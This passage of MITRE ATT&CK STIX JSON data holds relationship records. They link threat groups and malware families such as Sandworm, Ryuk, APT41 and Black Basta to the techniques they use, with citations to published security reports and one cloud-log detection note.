2020."}],"modified":"2020-11-25T21:00:56.154Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a771636-9b4d-423c-b7ba-1f274cbfb5b7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/","description":"Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.","source_name":"Arbor Musical Chairs Feb 2018"}],"modified":"2019-04-16T20:26:40.979Z","description":"A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used rundll32 for execution.(Citation: Arbor Musical Chairs Feb 2018)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to discover processes.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a7aeb29-4f1c-43e4-9efa-dc6fb812f281","type":"relationship","created":"2020-05-14T14:27:31.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:27:31.195Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used cmd.exe to create a Registry entry to establish persistence.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a7e12f1-a5e2-44bc-a244-c49688a816e7","created":"2023-01-26T14:54:27.038Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T14:54:27.038Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the DUSTPAN in-memory dropper to drop a [Cobalt Strike](https://attack.mitre.org/software/S0154) BEACON backdoor onto a compromised network.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a832b2f-7aa5-4a11-a06a-5cd22fb7f457","type":"relationship","created":"2021-03-31T15:55:36.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T00:50:31.599Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a85a31a-f5dd-4058-87d3-bb0b6fcfffb3","type":"relationship","created":"2021-04-22T13:50:46.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:50:46.735Z","description":"(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5a86948b-4058-453a-aa8d-47cdc4346f41","created":"2022-10-12T12:53:57.269Z","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T12:53:57.269Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) acquired and used the Redline password stealer in their operations.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a872d22-22e6-49b1-8ddd-7efc6c403ad6","type":"relationship","created":"2020-03-12T19:09:57.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."}],"modified":"2021-09-13T18:33:56.415Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchAgents.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a9197b3-c5fb-4288-9fdf-684fa289435b","type":"relationship","created":"2020-05-15T13:43:22.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.806Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used brute-force attack to obtain login data.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a9f2571-e611-4f7f-b0c9-6fc2d306b2f6","type":"relationship","created":"2020-05-13T19:39:41.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T16:49:46.933Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious Microsoft Word and PDF attachments.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5aa5a69f-967b-4b4a-8d4a-f347bff547f2","created":"2024-05-22T20:45:56.809Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:45:56.809Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can delete various service traces related to persistent execution when commanded.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5aaee352-e4b5-4d4c-b021-9f38adb346da","type":"relationship","created":"2019-05-28T16:53:41.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:47.950Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used VBS for code execution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Trend Micro TA505 June 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ab058a1-4c88-481f-a7a8-77855ee916e6","type":"relationship","created":"2020-05-27T13:35:36.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:35:36.714Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the titles of running windows on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Mivast","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}],"modified":"2020-03-20T01:57:13.505Z","description":"[Mivast](https://attack.mitre.org/software/S0080) creates the following Registry entry: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia.(Citation: Symantec Backdoor.Mivast)","relationship_type":"uses","source_ref":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ab5888b-f8c0-4230-af14-990356437dd5","created":"2023-12-07T19:58:44.633Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-07T19:58:44.633Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has maintained leak sites for exfiltrated data in attempt to extort victims into paying a ransom.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"modified":"2020-03-17T02:32:26.366Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) is capable of uploading and downloading files.(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5abf323d-03be-4996-ab4b-89317883d0ab","created":"2023-03-08T20:52:41.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T21:21:40.743Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can modify the Registry to enable itself to run in safe mode and to modify the icons and file extensions for encrypted files.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Trend Micro Black Basta May 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ac271fa-d3a7-40a6-8862-3eb73331ae99","type":"relationship","created":"2019-01-30T17:33:40.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:58.759Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can execute PowerShell scripts via DDE.(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ac3cb45-2d9c-42da-b35f-8f797c2e1ef8","type":"relationship","created":"2021-02-09T14:35:39.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."},{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.882Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) spread through watering holes on popular sites by injecting JavaScript into the HTML body or a .js file.(Citation: ESET Bad Rabbit)(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ac475f9-f253-44db-861e-c7303961aa6c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"modified":"2020-03-20T18:30:59.080Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) uses a simple XOR cipher to encrypt traffic and files.(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ac7ec1d-8da8-49dc-b4e4-680a335f2e16","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor cloud logs for API calls and other potentially unusual activity related to cloud instance enumeration. Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","source_ref":"x-mitre-data-component--2a80d95f-08c4-48e3-833e-151ef19d90f5","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5acaf47e-4608-4548-81e8-368a2687844e","type":"relationship","created":"2019-09-24T13:29:29.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.655Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can query the netsvc group value data located in the svchost group Registry key.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5adc78d2-a013-4a4e-afda-9a7dd38fb5fa","type":"relationship","created":"2020-11-13T21:28:40.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.205Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on window names.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ade424d-5a9d-4209-8aa4-a129783ffaa3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.899Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a watering hole to serve up malicious code.(Citation: Lookout Dark Caracal Jan 